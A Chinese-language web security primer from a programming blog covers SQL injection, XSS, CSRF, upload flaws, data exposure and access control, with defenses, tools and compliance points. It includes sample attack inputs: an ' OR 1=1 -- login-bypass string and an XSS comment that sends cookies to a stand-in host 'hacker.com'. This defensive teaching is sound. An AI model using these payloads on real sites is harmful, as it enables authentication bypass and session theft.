当前位置： 首页 > news >正文

Web安全科普：构建数字世界的“防盗门”

news 来源：原创 2025/6/23 2:48:30

目录

一、Web安全的核心挑战

二、六大核心威胁深度解析

三、安全防御体系构建

四、开发者必备工具包

五、法律合规要点

六、未来安全趋势

一、Web安全的核心挑战

1. 攻击者视角的入口

  • 数据流动路径：用户 → 浏览器 → 网络 → 服务器 → 数据库

  • 脆弱点分布：每个环节都可能被突破（如中间人攻击、SQL注入、XSS）

2. 常见攻击成本对比

攻击类型技术难度危害等级防御成本
SQL注入★★☆★★★★★★☆
XSS跨站脚本★★★★★★☆★★☆
CSRF跨站请求伪造★★☆★★★★★☆
DDoS攻击★★★★★★★★☆★★★★
二、六大核心威胁深度解析

1. SQL注入（Database Hijacking）

  • 攻击原理：

    -- 恶意输入：' OR 1=1 --
-- 原始SQL：SELECT * FROM users WHERE username='{input}' AND password='{pwd}'
-- 篡改后：SELECT * FROM users WHERE username='' OR 1=1 --' AND password='...'

  • 防御方案：
    ✅ 参数化查询（Prepared Statements）
    ✅ ORM框架自动过滤（如Hibernate、Sequelize）

2. XSS跨站脚本（Cross-Site Scripting）

  • 攻击案例：

    <!-- 恶意评论内容 -->
<script>document.cookie.sendTo('hacker.com')</script>

  • 防御方案：
    ✅ 内容安全策略（CSP）设置Content-Security-Policy
    ✅ 输入输出转义（如Java的HtmlUtils.htmlEscape()）

3. CSRF跨站请求伪造（Cross-Site Request Forgery）

  • 攻击流程：
    用户登录银行网站 → 访问恶意网站 → 自动发起转账请求

  • 防御方案：
    ✅ 同源检测（SameSite Cookie）
    ✅ 验证Token机制

4. 文件上传漏洞（Unrestricted File Upload）

  • 高危文件类型：
    .php、.jsp、.exe、.sh

  • 防御方案：
    ✅ 白名单验证文件扩展名
    ✅ 存储重命名（如UUID + .jpg）

5. 信息泄露（Sensitive Data Exposure）

  • 典型案例：

    • GitHub误传.env文件包含数据库密码

    • 服务器开启目录遍历（Directory Listing）

  • 防御方案：
    ✅ 敏感信息加密存储（AES-256）
    ✅ 定期扫描公开代码库

6. 越权访问（Broken Access Control）

  • 漏洞表现：

    • 修改URL参数访问他人数据：/userinfo?id=10086 → id=10010

    • 未验证管理员权限直接访问/admin路径

  • 防御方案：
    ✅ RBAC权限模型（角色-权限绑定）
    ✅ 接口级鉴权（如Spring Security）

三、安全防御体系构建

1. 基础防护三板斧

  • HTTPS强制部署：

    • 使用Let's Encrypt免费证书

    • 配置HSTS防止降级攻击

  • Web应用防火墙（WAF）：

    • 云端方案：Cloudflare、阿里云WAF

    • 开源方案：ModSecurity

  • 漏洞扫描常态化：

    • 工具：OWASP ZAP、Nessus

    • 频率：每月至少1次全面扫描

2. 开发安全规范

  • 输入验证四原则：

    // 前端校验（非安全手段！）
if(!/^[a-zA-Z0-9]{6,20}$/.test(username)) alert('非法输入');// 后端校验（必须执行）
if (!preg_match('/^[\w-]{6,20}$/', $username)) {throw new InvalidArgumentException('非法用户名');
}

  • 密码存储规范：
    ✅ bcrypt算法（成本因子≥12）
    ❌ 禁止使用MD5/SHA1

3. 应急响应机制

  • 入侵检测指标：

    • 异常登录地点（如境外IP访问后台）

    • 突发流量激增（超过基线值300%）

  • 响应流程：
    隔离 → 取证 → 修复 → 复盘

四、开发者必备工具包
工具类型推荐工具核心功能
漏洞扫描OWASP ZAP自动化检测XSS/SQL注入
密码管理1Password团队密钥安全共享
网络监控Wireshark抓包分析可疑请求
防火墙CloudflareDDOS防御+速率限制
代码审计SonarQube检测硬编码密码等风险
五、法律合规要点

  • GDPR（欧盟通用数据保护条例）：

    • 用户数据跨境传输需明确授权

    • 违规最高罚款2000万欧元或全球营收4%

  • 网络安全法（中国）：

    • 日志留存≥6个月

    • 等级保护2.0认证（三级等保需年检）

六、未来安全趋势

  • AI安全防御：

    • 机器学习检测异常行为（如用户突然高频操作）

    • 深度伪造（Deepfake）内容识别

  • 量子计算威胁：

    • RSA-2048可能被量子计算机在数小时内破解

    • 后量子密码学（PQC）成新方向

总结：Web安全是攻防博弈的持续过程，开发者需建立「安全左移」思维——在需求设计阶段即考虑安全因素。记住：没有绝对的安全，只有不断提升的攻击成本。

相关文章：

Web安全科普：构建数字世界的“防盗门”

目录 一、Web安全的核心挑战 二、六大核心威胁深度解析 三、安全防御体系构建 四、开发者必备工具包 五、法律合规要点 六、未来安全趋势 一、Web安全的核心挑战 1. 攻击者视角的入口 数据流动路径&#xff1a;用户 → 浏览器 → 网络 → 服务器 → 数据库 脆弱点分布&a…...

编程日记 2025/6/23 2:48:30

深入解析HTTP协议演进：从1.0到3.0的全面对比

HTTP协议作为互联网的基础协议&#xff0c;经历了多个版本的迭代演进。本文将详细解析HTTP 1.0、HTTP 1.1、HTTP/2和HTTP/3的核心特性与区别&#xff0c;帮助开发者深入理解网络协议的发展脉络。 一、HTTP 1.0&#xff1a;互联网的奠基者 核心特点&#xff1a; 短连接模式&am…...

编程日记 2025/6/23 2:44:23

【RAP】RAP动作与流行舞蹈/街舞

RAP动作与流行舞蹈风格的匹配性分析 Rap动作与各种流行舞蹈风格的匹配度如下： 最匹配 街舞(Hip-hop/Street Dance) 完美匹配程度：★★★★★原因：Rap和街舞同源于嘻哈文化，共享相同的文化根基特点：街舞的断点式动作、力量感和即兴性与Rap的节奏完美契合代表动作：Break…...

编程日记 2025/6/23 1:39:58

BUUCTF——web刷题第一页题解

共31题&#xff0c;admin那题没有&#xff0c;因为环境问题&#xff0c;我做的非常卡 目录 极客大挑战 2019]Havefun [HCTF 2018]WarmU [ACTF2020 新生赛]Include [ACTF2020 新生赛]Exec [GXYCTF2019]Ping Ping Ping [SUCTF 2019]EasySQL [极客大挑战 2019]LoveSQL [极…...

编程日记 2025/5/23 18:59:27

windows、Ubuntu、Debian 添加静态路由

1. windows 10 添加静态路由 快捷键win R&#xff1a; 输入 cmd &#xff0c;打开命令行窗口 route print // 查看已经存在的路由 route add 192.168.3.0 mask 255.255.255.0 192.168.3.200 // 添加静态路由 192.168.3.200 为下一跳 route add -p 192.168.…...

编程日记 2025/5/29 13:52:42

服务器连接多客户端

一、epoll 核心函数详解 1. epoll_create/epoll_create1 - 创建 epoll 实例 c #include <sys/epoll.h> int epoll_create(int size); // Linux 2.6.8前需指定size&#xff08;>1&#xff09;&#xff0c;后续版本可忽略 int epoll_create1(int flags); // 推荐使用…...

编程日记 2025/5/22 8:13:38

驿客时光影院酒店升级：雷克赛恩 Cyber Pro 1 如何重塑住宿观影体验

一、影院式酒店新趋势&#xff1a;当住宿邂逅沉浸式观影体验 &#xff08;一&#xff09;驿客时光的差异化突围 成都温江区的驿客时光影院酒店&#xff0c;凭借 “百寸巨幕观影 舒适住宿” 的差异化定位&#xff0c;成为年轻旅客打卡热点。其 20 间主题客房均配备独立投影设…...

编程日记 2025/5/29 22:36:12

Cinema4D 26.014

添加图片注释&#xff0c;不超过 140 字&#xff08;可选&#xff09; 软件概述 Cinema 4D是德国MAXON公司开发的一款专业的3D动画、建模、仿真和渲染软件解决方案&#xff0c;在3D设计领域应用广泛。 功能特点 强大的建模功能 多边形建模&#xff1a;提供了丰富的多边形建模…...

编程日记 2025/5/28 7:40:00

脚本语言Lua

本文来源 &#xff1a;腾讯元宝 Lua是一种轻量级、可嵌入的脚本语言&#xff0c;由巴西里约热内卢天主教大学的Roberto Ierusalimschy、Waldemar Celes和Luiz Henrique de Figueiredo于1993年开发。其设计目标是嵌入应用程序中&#xff0c;提供灵活的扩展和定制功能。 主要特性…...

编程日记 2025/5/22 10:18:45

106. 从中序与后序遍历序列构造二叉树

https://leetcode.cn/problems/construct-binary-tree-from-inorder-and-postorder-traversal/description/?envTypestudy-plan-v2&envIdtop-interview-150思路&#xff1a;我们知道后序的顺序是左右根&#xff0c;所以后序数组的最后一个一定是根节点&#xff0c;然后中序…...

编程日记 2025/5/20 7:13:47

全链路压测实战指南：从理论到高可用架构的终极验证

全链路压测实战指南：从理论到高可用架构的终极验证 引言：你的系统，真的准备好迎接洪峰了吗？ 凌晨3点，某大型电商平台秒杀活动突袭上线。百万用户同时涌入，订单接口响应时间从200ms飙升到15秒，数据库连接池被瞬间耗尽，支付服务直接“熔断”，连锁反应导致库存混乱、物流…...

编程日记 2025/5/28 6:41:08

分布式AI推理的成功之道

随着AI模型逐渐成为企业运营的核心支柱&#xff0c;实时推理已成为推动这一转型的关键引擎。市场对即时、可决策的AI洞察需求激增&#xff0c;而AI代理——正迅速成为推理技术的前沿——即将迎来爆发式普及。德勤预测&#xff0c;到2027年&#xff0c;超半数采用生成式AI的企业…...

编程日记 2025/5/27 7:49:20

纯前端实现基于位置的天气和动态背景图片

如何为博客首页实现基于位置的天气和动态背景图片 引言 我为我的博客主页添加了根据用户所在位置显示当地天气、日出日落时间&#xff0c;并加载一张与天气和时间段匹配的高质量背景图片&#xff0c;可以显著提升用户体验。想象晴天时展示阳光普照的田野&#xff0c;雨天时呈现…...

编程日记 2025/5/29 20:01:26

1.1 认识编程与C++

认识编程与C教程 目标 理解程序、指令、数据的概念。了解C在现实中的应用场景。学会搭建编程环境&#xff0c;迈出第一步。 一、编程是什么&#xff1f;——给计算机写“魔法指令” 1. 基本概念 程序&#xff1a;一系列指令的集合&#xff0c;像一本“魔法食谱”。 &#x…...

编程日记 2025/5/26 10:25:55

代码随想录算法训练营第60期第三十七天打卡

大家好&#xff0c;今天我们算法训练营的第37天&#xff0c;首先为自己感到骄傲&#xff0c;居然坚持下来了&#xff0c;本来觉得自己可能坚持不下来&#xff0c;但是我硬是坚持下来了&#xff0c;好样的&#xff0c;同时也感谢那些看我的题解给我点赞的朋友&#xff0c;我在这…...

编程日记 2025/5/28 7:08:00

每周靶点：TIGIT、ICAM1及文献分享

本期精选了《抑制性受体TIGIT》《细胞粘附分子ICAM1》《真核蛋白表达&#xff1a;选择合适的条件进行》《文献分享&#xff1a;双特异性和多特异性抗体的可开发性评估》四篇文章。以下为各研究内容的概述&#xff1a; 抑制性受体TIGIT TIGIT是一种具有Ig和ITIM结构域的T细胞免…...

编程日记 2025/5/25 4:41:44

介绍一下什么是 AI、 AGI、 ASI

1. AI&#xff08;人工智能&#xff09;&#xff1a;工具化的“窄域智能”​​ 定义​&#xff1a; AI 是能够执行特定任务的智能系统&#xff0c;依赖大量数据和预设规则&#xff0c;​缺乏自主意识和跨领域通用性。 特点​&#xff1a; ​任务专用​&#xff1a;如图像识…...

编程日记 2025/5/29 9:26:37

部署安装jenkins.war（2.508）

实验目的&#xff1a;部署jenkins&#xff0c;并与gitlab关联bulid 所需软件&#xff1a;jdk-17_linux-x64_bin.tar.gz jenkins.war apache-tomcat-10.1.40.tar.gz 实验主机&#xff1a;8.10具有java环境,内存最少为4G&#xff0c;cpu双核 目录 jdk安装 …...

编程日记 2025/5/25 17:40:16

【歌曲结构】2：小节与歌曲结构信息整合

歌曲小节与结构信息整合 我将为您整合小节信息与歌曲结构，创建一个更加详细的JSON数据结构。 处理方法 将小节时间与歌曲结构段落进行匹配为每个小节添加所属段落信息为小节添加格式化的时间戳为小节添加对应时间范围内的歌词{"song_title": "财神庙前许三亿…...

编程日记 2025/5/27 8:20:44

商城系统前端

商城系统的前端技术涉及多个层面的技术选型与架构设计&#xff0c;结合搜索结果中的信息&#xff0c;以下是商城系统前端技术的核心要点及实现方案&#xff1a; ​​一、基础技术栈​​ ​​HTML5 & CSS3​​ ​​功能定位​​&#xff1a;作为前端开发的基础&#xff0c;…...

编程日记 2025/5/28 7:41:05

OpenSSH 漏洞-SSH 服务器面临 MitM 攻击和拒绝服务攻击的风险

OpenSSH 发布了安全更新&#xff0c;修复了两个漏洞&#xff0c;一个是 MitM 攻击漏洞&#xff0c;另一个是拒绝服务漏洞&#xff0c;其中一个漏洞是在十多年前引入的。Qualys 发现了这两个漏洞&#xff0c;并向 OpenSSH 的维护人员展示了其可利用性。 OpenSSH&#xff08;开放…...

编程日记 2025/5/21 4:35:10

PostgreSQL MCP 使用案例

## 概述 PostgreSQL MCP&#xff08;PostgreSQL Multi-host Cluster Provisioning&#xff09;是一种用于部署和管理多节点PostgreSQL集群的工具和架构。它提供了高效的数据库集群管理、高可用性保障和负载均衡功能。本文档将介绍PostgreSQL MCP的基本使用方法和常见应用场景。…...

编程日记 2025/5/29 8:54:53

什么是接口文档，如何使用，注意事项有哪些

一、接口文档的核心内容 基础信息 接口名称&#xff1a;明确功能&#xff08;如“用户登录接口”&#xff09;。 接口地址&#xff1a;URL 或 RPC 路径&#xff08;如 /api/v1/login&#xff09;。 请求方法&#xff1a;HTTP 方法&#xff08;GET/POST/PUT/DELETE&#xff09…...

编程日记 2025/5/26 9:52:50

Swagger go中文版本手册

Swaggo（github.com/swaggo/swag）的注解语法是基于 OpenAPI 2.0 (以前称为 Swagger 2.0) 规范的，并添加了一些自己的约定。 主要官方文档： swaggo/swag GitHub 仓库: 这是最权威的来源。 链接: https://github.com/swaggo/swag重点关注: README.md: 包含了基本的安装、使用…...

编程日记 2025/5/21 9:46:27

[Java实战]Spring Boot + Netty 实现 TCP 长连接客户端及 RESTful 请求转发（二十六）

[Java实战]Spring Boot Netty 实现 TCP 长连接客户端及 RESTful 请求转发&#xff08;二十六&#xff09; 在现代微服务架构中&#xff0c;经常需要在不同服务之间进行高效、可靠的通信。本文将介绍如何使用 Spring Boot 结合 Netty 实现一个 TCP 长连接客户端&#xff0c;并…...

编程日记 2025/5/26 6:59:09

ProfibusDP主站转ModbusRTU/TCP与横河AXG电磁流量计通讯案例

ProfibusDP主站转ModbusRTU/TCP与横河AXG电磁流量计通讯案例 在当今数字化工业时代&#xff0c;智能仪表与控制系统的互联互通成为提高生产效率和管理水平的关键。横河AXG电磁流量计作为一款高性能的流量测量设备&#xff0c;在多个行业得到了广泛应用。而Profibus DP作为一种…...

编程日记 2025/5/27 8:08:32

鸿蒙OSUniApp开发的商品详情展示页面（鸿蒙系统适配版）#三方框架 #Uniapp

使用UniApp开发的商品详情展示页面&#xff08;鸿蒙系统适配版&#xff09; 前言 随着移动电商的普及&#xff0c;一个体验良好的商品详情页对于提高用户转化率至关重要。本文将分享我在使用UniApp开发商品详情页时的实践经验&#xff0c;并特别关注如何适配鸿蒙系统&#xf…...

编程日记 2025/5/21 11:40:05

VMware中快速安装与优化Ubuntu全攻略

准备工作 在开始安装之前&#xff0c;确保已经下载了VMware Workstation或VMware Player&#xff0c;并准备好Ubuntu的ISO镜像文件。VMware Workstation是一款功能强大的虚拟机软件&#xff0c;支持在Windows或Linux主机上运行多个操作系统。 创建虚拟机 打开VMware Worksta…...

编程日记 2025/5/18 11:03:26

本地 PC 使用Offset Explorer连接实体Ubuntu Kafka 【单机】超时问题解决

现状&#xff1a;本地 PC 使用Offset Explorer连接实体Ubuntu Kafka 超时 一、确认kafka是否在9092端口上运行 netstat -tulnp | grep 9092输出 tcp6 0 0 :::9092 :::* LISTEN 66113/java 使用jps查看进程66113的详细信息…...

编程日记 2025/6/21 9:15:53

CSS AI 通义灵码 VSCode插件安装与功能详解

简介 在前端开发领域&#xff0c;页面调试一直是个繁琐的过程&#xff0c;而传统开发中美工与前端的对接也常常出现问题。如今&#xff0c;阿里云技术团队推出的通义灵码智能编码助手&#xff0c;为前端开发者带来了新的解决方案&#xff0c;让开发者可以像指挥者一样&#xf…...

编程日记 2025/5/27 13:29:41

MUSE Pi Pro 使用TiTanTools烧录镜像

视频讲解&#xff1a; MUSE Pi Pro 使用TiTanTools烧录镜像 下载windows下的烧录工具 https://cloud.spacemit.com/prod-api/release/download/tools?tokentitantools_for_windows_X86_X64 下载镜像文件&#xff0c;zip后缀的即可 打开软件默认界面 按住FDL键&#xff0c;同时…...

编程日记 2025/5/27 8:32:07

嵌软面试每日一阅----通信协议篇(二)之TCP

一. TCP和UDP的区别 可靠性 TCP&#xff1a;✅ 可靠传输&#xff08;三次握手 重传机制&#xff09; UDP&#xff1a;❌ 不可靠&#xff08;可能丢包&#xff09; 连接方式 TCP&#xff1a;面向连接&#xff08;需建立/断开连接&#xff09; UDP&#xff1a;无连接&#xff0…...

编程日记 2025/5/29 8:58:49

开机自启动python程序_ubuntu22.04

一、没有设置开机自启动时 1、 conda activate yolo cd /home/orangepi/work_11.15/zipformer 2、 python app.py 二、设置开机自启动流程 1、新建一个文件.service文件 touch zipformer.service 2、最重要的找到你自己的环境路径 这个是我的 yolo的虚拟环境在&#xff…...

编程日记 2025/6/21 13:04:04

8、SpringBoot集成MinIO

8、SpringBoot集成MinIO https://xiaoxueblog.com/ai/SpringBoot%E9%9B%86%E6%88%90MinIO.html 1、pom <dependency><groupId>io.minio</groupId><artifactId>minio</artifactId><version>8.5.12</version> </dependency>2…...

编程日记 2025/5/29 16:41:53

LeRobot 框架的核心架构概念和组件（下）

本文档概述构成 LeRobot 框架的核心架构概念和组件。它介绍主要的子系统&#xff0c;并解释它们如何相互作用以实现机器人学习。 。。。。。。继续。。。。。。 机器人控制系统 机器人控制系统提供统一的接口来控制实体机器人。它支持不同的控制模式和机器人类型&#xff0c…...

编程日记 2025/5/27 7:44:10

ubuntu18 设置静态ip

百度 编辑/etc/netplan/01-netcfg.yaml 系统没有就自己编写 network: version: 2 renderer: networkd ethernets: eth0: dhcp4: no addresses: [192.168.20.8/24] # 设置你的IP地址和子网掩码 gateway4: 192.168.20.1 # 网关地址 namese…...

编程日记 2025/5/27 7:07:06

QML元素 - ThresholdMask

QML 的 ThresholdMask 用于根据阈值将源元素与遮罩元素的像素值进行比较&#xff0c;通过设定阈值范围来控制源元素的可见区域。它适用于基于亮度、透明度或颜色通道的动态遮罩效果&#xff0c;例如游戏中的血条、进度指示器或图像处理中的抠图。以下是详细使用技巧和场景示例&…...

编程日记 2025/5/25 9:45:14

[项目深挖]仿muduo库的并发服务器的解析与优化方案

标题&#xff1a;[项目深挖]仿muduo库的并发服务器的优化方案 水墨不写bug 文章目录 一、buffer 模块&#xff08;1&#xff09;线性缓冲区直接扩容---->环形缓冲区定时扩容&#xff08;只会扩容一次&#xff09;&#xff08;2&#xff09;使用双缓冲&#xff08;Double Buf…...

编程日记 2025/5/29 15:05:46

(独家)SAP CO模块中 销售发票对应的Cost Document中的PSG对象是什么东东？？

背景&#xff1a; 在销售发票生成的凭证中&#xff0c;控制凭证有两个字段&#xff1a;对象类型、对应编码&#xff1b;那这个PSG到底是什么东东&#xff1f;网上一直没人解释&#xff0c;可能没人研究过这个问题。 官方解释&#xff1a; 按我的理解&#xff0c;PSG profile …...

编程日记 2025/6/1 8:31:40

流程编辑器Bpmn与LogicFlow学习

工作流技术如何与用户交互结合&#xff08;如动态表单、任务分配&#xff09;处理过 XML 与 JSON 的转换自定义过 bpmn.js 的样式&#xff08;如修改节点颜色、形状、图标&#xff09;扩展过上下文菜单&#xff08;Palette&#xff09;或属性面板&#xff08;Properties Panel&…...

编程日记 2025/5/26 6:18:47

群晖NAS部署PlaylistDL音乐下载器结合cpolar搭建私有云音乐库

文章目录 前言1.关于PlaylistDL音乐下载器2.Docker部署3.PlaylistDL简单使用4.群晖安装Cpolar工具5.创建PlaylistDL音乐下载器的公网地址6.配置固定公网地址总结 前言 各位小伙伴们&#xff0c;你们是不是经常为了听几首歌而开通各种平台的VIP&#xff1f;或者为了下载无损音质…...

编程日记 2025/5/27 4:59:01

Unity光照笔记

问题 在做项目中遇到了播放中切换场景后地面阴影是纯黑的问题&#xff0c;不得不研究一下光照。先放出官方文档。 Lighting 窗口 - Unity 手册 播放中切换场景后地面阴影是纯黑 只有投到地面的阴影是纯黑的。且跳转到使用相同Terrain的场景没有问题。 相关文章&#xff1a…...

编程日记 2025/6/2 11:18:57

【ROS2】编译Qt实现的库，然后链接该库时，报错：/usr/bin/ld: XXX undefined reference to `vtable for

1、问题描述 在ROS2工程中，编译使用Qt实现的库，在其它ROS2包链接该库时，报错： /usr/bin/ld: XXX undefined reference to `vtable for2、原因分析 查看链接失败的几个函数接口都是，信号函数（signals 标记的函数）。因为信号函数都只有定义，没有实现，在执行ROS2 colc…...

编程日记 2025/5/29 15:35:13

deepseek讲解如何快速解决内存泄露，内存溢出问题

Java内存泄漏与内存溢出解决方案及预防措施 作为Java架构师&#xff0c;处理内存泄漏和内存溢出问题需要系统性的方法。以下是一份完整的解决方案和预防建议&#xff1a; 一、问题诊断阶段 1. 确认内存泄漏现象 监控GC日志&#xff0c;观察老年代使用率是否持续增长使用jst…...

编程日记 2025/5/16 11:58:12

双系统重装ubuntu

双系统ubuntu20.04重装&#xff08;详细版&#xff09;_ubuntu20.04安装教程-CSDN博客...

编程日记 2025/5/29 17:32:00

图形语言中间层：重构 AI 编程的未来之路

在软件开发的历史长河中&#xff0c;每一次技术革新都伴随着对效率与可控性的重新定义。当 ChatGPT、GitHub Copilot 等 AI 工具以自然语言生成代码的惊艳表现叩响编程世界的大门时&#xff0c;人们曾满怀憧憬地期待一个 “无代码” 的黄金时代 —— 只需用日常语言描述需求&am…...

编程日记 2025/5/31 11:30:01

Ubuntu操作合集

UFWUncomplicated Firewall 查看状态和规则&#xff1a; 1查看状态sudo ufw status&#xff0c; 2查看详细信息sudo ufw status verbose&#xff0c; 默认策略配置&#xff1a; 1拒绝所有入站sudo ufw default deny incoming 2允许所有出战sudo ufw default allow outgoing …...

编程日记 2025/5/28 16:02:11

张量与Python标量：核心区别与计算图断开解析

张量与Python标量的核心区别 张量（Tensor） 是PyTorch中的核心数据结构，类似于多维数组： 支持GPU加速计算跟踪计算历史（用于自动求导）可以包含多个元素Python标量（int/float） 是普通的Python数值类型： 不支持GPU加速没有计算历史记录单个独立数值计算图断开的原因 Py…...

编程日记 2025/5/28 15:00:05

U9C与钉钉审批流对接完整过程

U9C 功能强大&#xff0c;然而在移动办公和审批流方面存在一定不足。为了弥补这一缺陷&#xff0c;不少企业在使用 U9C 的同时&#xff0c;会选择开通钉钉这类 OA 管理系统。不过&#xff0c;两套系统并行使用时&#xff0c;数据同步问题便随之而来。目前&#xff0c;常见的做法…...

编程日记 2025/6/20 16:27:26

双重差分模型学习笔记４（理论）

【DID最全总结】90分钟带你速通双重差分&#xff01;_哔哩哔哩_bilibili 目录 总结&#xff1a;双重差分法&#xff08;DID&#xff09;在社会科学中的应用&#xff1a;理论、发展与前沿分析 一、DID的基本原理与核心思想 二、经典DID&#xff1a;标准模型与应用案例 三、…...

编程日记 2025/5/30 17:24:51